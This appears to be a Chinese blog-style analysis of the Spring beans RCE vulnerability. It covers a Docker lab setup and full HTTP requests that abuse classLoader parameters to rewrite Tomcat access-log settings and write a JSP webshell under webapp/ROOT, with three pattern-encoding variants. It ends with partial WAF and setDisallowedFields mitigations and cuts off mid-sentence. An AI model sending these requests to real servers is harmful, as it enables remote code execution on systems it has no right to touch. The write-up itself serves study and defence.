Spring beans RCE 漏洞分析
1 影响范围
- JDK 9 及其以上版本
- Spring 框架以及衍生的框架
spring-beans-*.jar
文件或者存在 CachedIntrospectionResults.class
2 漏洞复现
2.1 环境搭建
本文使用的是 spring-core-rce-2022-03-29 docker 镜像,启动镜像:
1
|
docker run --name springRCE -p 8090:8080 -d vulfocus/spring-core-rce-2022-03-29
|
2.2 漏洞原理
通过直接修改 tomcat 的 log 日志配置,即可以向 webapp/ROOT
下写 jsp
文件,达到命令执行的目的,与 s2-020 的利用方式相似。
首先向目标发送如下数据包:
1
2
3
4
5
6
7
8
|
# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# 设置日志文件的路径为 webapp/path,只有该文件下的 jsp 文件会被解析,本文以 ROOT 为例
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT
|
其次,再设置 log 的 pattern
和 fileDateFormat
,这里的 pattern 是有一定格式限制的,根据 tomcat 官方对于 Access Logging
的定义,该项值可以为: common
与 combined
,其中 common
的具体定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
%a - Remote IP address. See also %{xxx}a below.
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or '-' if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if enableLookups for the connector is false)
%H - Request protocol
%l - Remote logical username from identd (always returns '-')
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received. See also %{xxx}p below.
%q - Query string (prepended with a '?' if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else '-' (escaped if required)
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request in millis. Note: In httpd %D is microseconds. Behaviour will be aligned to httpd in Tomcat 10 onwards.
%T - Time taken to process the request, in seconds. Note: This value has millisecond resolution whereas in httpd it has second resolution. Behaviour will be align to httpd in Tomcat 10 onwards.
%F - Time taken to commit the response, in milliseconds
%I - Current request thread name (can compare later with stacktraces)
|
combined
的具体定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
%{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)
%{xxx}i write value of incoming header with name xxx (escaped if required)
%{xxx}o write value of outgoing header with name xxx (escaped if required)
%{xxx}c write value of cookie with name xxx (escaped if required)
%{xxx}r write value of ServletRequest attribute with name xxx (escaped if required)
%{xxx}s write value of HttpSession attribute with name xxx (escaped if required)
%{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)
%{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx
|
本文的写 webshell 的方案即是选择 combined
相关格式字符。
由于写入一句话 webshell 时,需要一些特殊字符,如:%
,而 %
在日志的配置中又具有特殊含义,直接在 pattern
中写入会报错

总之,需要避开直接对于百分号的写入,下文尝试了有三种方式去定义 pattern。
由上文可知,%{xxx}c
项的作用是:从 HTTP Cookie 中读取 xxx 项,并写入到 log 文件中。因此数据包定义为:
1
2
|
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc
|
最后的 HTTP 请求为:
1
2
3
4
5
6
7
|
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc HTTP/1.1
Host: IP:PORT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg; cmd=<%out.println(11223344);%>
Connection: close
|

由于 ;
作为 Cookie 的分隔符,因此写入的内容会被截断。(不知哪位师傅有解决办法,可以分享下):<%out.println(11223344)
由上文可知,%{xxx}i
项的作用是:从 HTTP Header 中读取 xxx 项,并写入到 log 文件中。因此数据包定义为:
1
2
|
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di
|
最后的 HTTP 请求为:
1
2
3
4
5
6
7
8
|
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di HTTP/1.1
Host: IP:PORT
cmd: <%out.println("11223344");%>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg
Connection: close
|


2.2.3 直接配置 pattern
上面两种方式本人在测试时发现,"
引号会被转义为 \"
,存在一定缺陷。
此外,由上文可知,%{xxx}t
项的作用是:以 simpleDateFormat
格式定义日志中的 timestamp
,比如:可以看到 %
可以正常输出。

因此数据包定义为:%{%}t
,这样就可以向 log 文件中写入 %
了。
1
2
|
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=3
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dtout.println(%22POC%20Test%22)%3B%25%7B%25%7Dt%3E
|

查看文件:

3 临时修复方案
- WAF 中对参数中出现的
class.*
, Class.*
,*.class.*
, *.Class.*
字符串的规则过滤
- 全局搜索
@InitBinder
注解,判断方法体内是否有 dataBinder.setDisallowedFields 方法,
如果有使用则在原来的黑名单中添加: